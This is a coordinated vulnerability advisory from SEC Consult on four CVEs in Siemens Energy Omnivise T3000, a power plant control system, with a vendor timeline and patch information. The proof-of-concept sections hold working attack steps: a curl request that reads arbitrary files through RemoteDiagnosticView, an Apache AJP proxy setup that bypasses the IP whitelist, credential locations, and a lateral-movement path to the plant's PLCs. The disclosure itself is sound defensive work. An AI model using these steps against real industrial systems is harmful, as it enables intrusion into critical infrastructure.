SEC Consult Vulnerability Lab Security Advisory < 20241112-0 > ======================================================================= title: Multiple vulnerabilities product: Siemens Energy Omnivise T3000 vulnerable version: >=8.2 SP3 fixed version: see solution section CVE number: CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879 impact: High homepage: https://www.siemens-energy.com/global/en/home/products-services/product/omnivise-t3000.html found: 2024-06-02 by: Steffen Robertz (Office Vienna) Andreas Kolbeck (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Located in 90 countries, Siemens Energy operates across the whole energy landscape. From conventional to renewable power, from grid technology to storage to electrifying complex industrial processes. Our mission is to support companies and countries with what they need to reduce greenhouse gas emissions and make energy reliable, affordable, and more sustainable. Let’s energize society." Source: https://www.siemens-energy.com/global/en/home/company/about.html Business recommendation: ------------------------ Siemens has released their security advisory SSA-857368, see the following URL for further details: https://cert-portal.siemens.com/productcert/html/ssa-857368.html#mitigations-section Follow the mitigation instructions communicated in Omnivise T3000 Technical News 2024-089 and SE Controls Security Announcement 2024-01. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Local Privilege Escalation via Writable Service Binary (CVE-2024-38876) Insecurely configured services or the insecure configuration of their authorizations lead to privilege escalation vulnerabilities in the Windows operating system. It is possible for a low-privileged user to modify a service in such a way that it executes arbitrary code instead of starting the actual service. The service path is writable by the "Authenticated Users" group. Precondition for exploitation: requires authenticated local access to the Terminal Server of the T3000 system. 2) Cleartext Storage of Passwords in Config and Log Files (CVE-2024-38877) Multiple files containing cleartext passwords were discovered. These can be used to jump from host to host and thus compromise the whole security architecture of the T3000 system. Precondition for exploitation: requires administrative local access to any server of the T3000 system. 3) File System Access via RemoteDiagnosticView Website (CVE-2024-38878) The RemoteDiagnosticView application is a web application hosted on the application server. One parameter accepts a full path, which can be abused to download arbitrary files. Precondition for exploitation: requires administrative remote access to the Application server of the T3000 system. 4) IP Whitelist Bypass (CVE-2024-38879) The application server is hosting the T3000 web application on port 8080. However, only the Terminal Server is whitelisted. This whitelisting can be circumvented by exploiting the additionally exposed Tomcat AJP service on port 8009. Precondition for exploitation: requires unauthenticated remote access to the Application server of the T3000 system Proof of concept: ----------------- 1) Local Privilege Escalation via Writable Service Binary (CVE-2024-38876) The following path hosts a file that is used by the "DSGW Service" of the T3000 system: "E:\dsgw\gw\bin\dsgwservice.exe" The path is writable by the "Authenticated Users" group. 2) Cleartext Storage of Passwords in Config and Log Files (CVE-2024-38877) Multiple files containing cleartext passwords were discovered. Terminal Server: * C:\Program Files\SPPA-T3000\snmpv3trap\Config.properties (only readable by Admin) * E:\DSGW\GW\config_PDC.properties (Passwords are Base64 encoded) * C:\Program Files\SPPA-T3000\Logs\AppInstallLogs\PostInstallConfigList.xml (Readable by every user) Application Server: * D:\SPPA-T3000\_framework\_jre\installvariables.properties (contains passwords of tomcat and MySQL service * D:\SPPA-T3000\Orion\install\_uninstall\installvariables.properties (contains password for MySQL service and installation) All Servers: All servers are being deployed via Puppet. However, the cache file is never cleared and contains the initial passwords of all systems of the T3000 system: "C:\Program Data\PuppetLabs\puppet\cache\client_data\catalog\<uid.json>" --------------------------------------- [...] "parameters": { "foreman_pass": "[redacted]", "foreman_url": "[redacted]", "foreman_user": "puppet_provider", "is_sec": "true", "mpssvc_pass": "[redacted]" } [...] "parameters": { "crsphost": "XXX.XXX.XXX.XXX", "crsppswd": "", "crsprepo": "AVPatterns", "crspservice": "SFTP", "crspuser": "siem_t3000_west", "primary_ts": true } [...] "parameters": { [...] "snmpv3_authpass": "[redacted]", "snmpv3_privpass": "[redacted]", "snmpv3_user": "snmpuser", "snmpv3_hash": "SHA", "snmpv3_encrypt": "AES" } [...] "parameters": { [...] "cyg_server_passwd": "[redacted]", [...] "fst_appsrv_passwd": "", "fst_appsrv_red_hgw_ip": "XXX.XXX.XXX.XXX", [...] "icmauser_passwd": "[redacted]", [...] "opcadmin_passwd": "[redacted]", "operator01_passwd": "[redacted]", "operator02_passwd": "[redacted]", "operator03_passwd": "[redacted]", "operator04_passwd": "[redacted]", "operator05_passwd": "[redacted]", "operator06_passwd": "[redacted]", "operator07_passwd": "[redacted]", "operator08_passwd": "[redacted]", "operator09_passwd": "[redacted]", "operator10_passwd": "[redacted]", "operators_password": "[redacted]", "pdm01_passwd": "[redacted]", "pdm02_passwd": "[redacted]", "pdm03_passwd": "[redacted]", "pdm04_passwd": "[redacted]", "pdm05_passwd": "[redacted]", "pdm06_passwd": "[redacted]", "pdm07_passwd": "[redacted]", "pdm08_passwd": "[redacted]", "pdm09_passwd": "[redacted]", "pdm10_passwd": "[redacted]", "pmas_passwd": "[redacted]", "pmsvc_passwd": "[redacted]", "pmts_passwd": "[redacted]", "reparchive_passwd": "[redacted]", [...] "t3kservice_passwd": "[redacted]", "[...] "tomcatadmin_passwd": "[redacted]", "tsuser01_passwd": "[redacted]", "tsuser02_passwd": "[redacted]", "tsuser03_passwd": "[redacted]", "tsuser04_passwd": "[redacted]", "tsuser05_passwd": "[redacted]", "tsuser06_passwd": "[redacted]", "tsuser07_passwd": "[redacted]", "tsuser08_passwd": "[redacted]", "tsuser09_passwd": "[redacted]", "tsuser10_passwd": "[redacted]", "txpdomain_passwd": "[redacted]", [...] "vm_r8_passwd": "[redacted]", [...] "vm_tc_passwd": "[redacted]", [...] "vm_ts_passwd": "[redacted]", [...] "vm_whitelist_hostname": "", "vm_whitelist_passwd": "", "wbuser01_passwd": "[redacted]", "wbuser02_passwd": "[redacted]", "wbuser03_passwd": "[redacted]", "wbuser04_passwd": "[redacted]", "wbuser05_passwd": "[redacted]", "wbuser06_passwd": "[redacted]", "wbuser07_passwd": "[redacted]", "wbuser08_passwd": "[redacted]", "wbuser09_passwd": "[redacted]", "wbuser10_passwd": "[redacted]", "wra01_passwd": "[redacted]", [...] "dsrm_passwd": "[redacted]", [...] "dc_passwd": "[redacted]", [...] "patchsvc_passwd": "[redacted]", } -------------------------------------------------- To understand the impact of this file, we have to explain a little about the T3000 system. The system is split into three levels: Operator, Automation and Process. Operator Level: This is the level, where thin clients are situated. In our testcase, this level consisted of the Terminal Server that engineers could connect to. From here, they start the T3000 application, which simply loads a browser and displays a Java application served from the Application Server. Automation Level: This level consists of application and automation servers. The application server hosts the not time critical components of power generations such as the web server. The automation servers are taking care of time critical operations. In our testcase these were PLCs from the SIMATIC S7-CPU family. Process Level: This level consists of the I/O modules that are controlled by the automation servers. The Terminal Server, located on the operator level already contained the Puppet cache file, which contained all the local Windows users used in the T3000 system in clear text. As the Terminal Server communicates with the Application Server, they have to be connected via network. Thus, the attacker can use the credentials on the Terminal Server to jump to the Application Server. This server is in the same segment as the physical PLC CPUs. Thus an attacker can now also control the PLCs and thus the whole power plant. In order to read the Puppet cache file, an attacker has to gain local admin rights first. For this, vulnerability 1 can be used. 3) File System Access via RemoteDiagnosticView Website (CVE-2024-38878) The RemoteDiagnosticView website is hosted at the following URL: http:// <IP Application Server>:8080/RemoteDiagnosticView In our testcase it was configured using default credentials with the following username and an easy to guess password: txpadmin:[redacted] Using these credentials an attacker gains an authenticated session. From there, one can simply download arbitrary files: ------------------------ Curl -H "Cookie: JSESSIONID=31B4F2F1BAFC473AB41B65DDF2FD10BA;" -I -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "filename=D:\sectest.txt&type=TEXT" http://$host:8080/RemoteDiagnosticView/DataServlet HTTP/1.1 200 Content-Type: text/plain Transfer-Encoding: chunked [...] Sectest --------------------------------- 4) IP Whitelist Bypass (CVE-2024-38879) The AJP protocol can be used to proxy requests from an Apache server to an application running on Tomcat. By setting up a local Apache server and configuring it to use the AJP service of the Application Server, the IP filter is circumvented. The following setup was built: ------------------------------ sudo apt-get install libapache2-mod-jk sudo vim /etc/apache2/apache2.conf # append the following line to the config Include ajp.conf sudo vim /etc/apache2/ajp.conf # create the following file ProxyRequests Off <Proxy *> Order deny,allow Deny from all Allow from localhost </Proxy> ProxyPass / ajp://<Application Server IP>:8009/ ProxyPassReverse / ajp://<Application Server IP>:8009/ sudo a2enmod proxy_http sudo a2enmod proxy_ajp sudo systemctl restart apache2 -------------------------- Afterwards, the e.g. RemoteDiagnosticView can be loaded from http://127.0.0.1/RemoteDiagnosticView Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * 8.2 According to the vendor (T3000 SE Controls Security Announcement 2024/01 Update 1), the following versions and components are affected: All T3000 Versions >= Release 8.2 SP3: * Security Server * Thin Clients * Terminal Server * Application Server * Domain Controller * PDM VM * Whitelisting VM * NIDS Vendor contact timeline: ------------------------ 2024-06-05: Contacting vendor through [email protected] 2024-06-06: Siemens assigned S-PCERT#40850 2024-06-12: Reaching out to specific contacts at Siemens Energy Cybersecurity. 2024-06-13: They confirm that ProductCERT will get back to us once they have a timeline. 2024-06-19: Customer informs us about a Siemens Energy Document that recommends to change passwords after installation. The document is called "SE Controls Security Announcement 2024/01" but only available to T3000 customers. 2024-06-20: Sending feedback about the document to Siemens Energy Cybersecurity as in our opinion it does not solve the issues. 2024-06-20: They confirm again that ProductCERT is taking care of issues. Asks to confirm that we received their messages, which we didn't -> Realized that one of our email addresses was dropped during the communication, recovered emails from second account. 2024-06-17/2024-06-24: ProductCERT informs: Vulnerability 1 cannot be reproduced in the reference installation. The product team is working to find potentially affected installation scenarios. Vulnerability 2 was reproduced and the product team is working on a mitigation. Also, a related customer information has been distributed to customers. Vulnerability 3 will be fixed in the next release of the T3000 distribution Vulnerability 4 is already fixed in the current version. The product team is investigating, if this vulnerability is present in still supported versions. 2024-06-21: ProductCERT informs us that they are able to reproduce all of the vulnerabilities and provide fixes for most of them. Advisory draft should be shared with SEC Consult next week. Ask to keep communication directed at ProductCERT instead of Cybersecurity team. 2024-06-28: ProductCERT sends over advisory draft. Could reproduce all vulnerabilities and requested CVEs. 2024-07-03: Siemens ProductCERT requests if we received the draft, as SEC Consult didn't answer yet. 2024-07-03: SEC Consult confirms the reception of the advisory draft. 2024-07-04: Submitted feedback for advisory draft to ProductCERT. From SEC Consult's understanding, changing passwords after initial installation only fixes the cleartext passwords in log files. The puppet issue would not be fixed. Thus SEC Consult proposed to split Vulnerability 2 into two separate findings. 2024-07-05: ProductCERT forwarded feedback to product team. 2024-08-02: ProductCERT publishes SSA-857368. 2024-08-05: Informing ProductCERT of vacation/absences, will coordinate further afterwards. 2024-10-03: Proposing a meeting with ProductCERT to clarify and discuss all open issues. 2024-10-22: Meeting with ProductCERT. 2024-10-24: ProductCERT sends us further documents for T3000 regarding fixes/mitigations. 2024-10-31: Sending advisory draft to ProductCERT, proposing advisory release date for 7th November. 2024-11-06: Receiving feedback from ProductCERT, postponing release to 12th November. 2024-11-12: Coordinated release of advisory. Solution: --------- Change the passwords to all components. Detailed instructions and patch information can be found when following Omnivise T3000 Technical News 2024-089 and SE Controls Security Announcement 2024-01. Release 9.2 Fix / Mitigations: Issue 1 (CVE-2024-38876) * System Software Patch 22.173.20 * System Software Patch 22.173.52 * Application Software Patch 09.0.19.06 Issue 2 (CVE-2024-38877) * System Software Patches 22.173.52 * Application Software Patch 09.0.19.06 * Technical News 2024-089 Issue 3 (CVE-2024-38878) * Application Software Patch 09.0.19.06 Issue 4 (CVE-2024-38879) * Application Software Patch 09.0.19.06 Release 8.2 SP4 Fix / Mitigations: Patches are currently under development. Release 8.2 SP3 Fix / Mitigations: Currently no fixes are planned, but see Technical News 2024-089 for issue 2 (CVE-2024-38877) Workaround: ----------- Limit access to the terminal servers. CVE-2024-38877: If the passwords are suspected to be compromised, change the passwords for all computers and service accounts. In addition follow the instructions from Omnivise T3000 Technical News 2024-089, which is available through T3000 customer service and applies to releases 8.2 SP3/SP4 and 9.2. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Steffen Robertz, Andreas Kolbeck/ @2024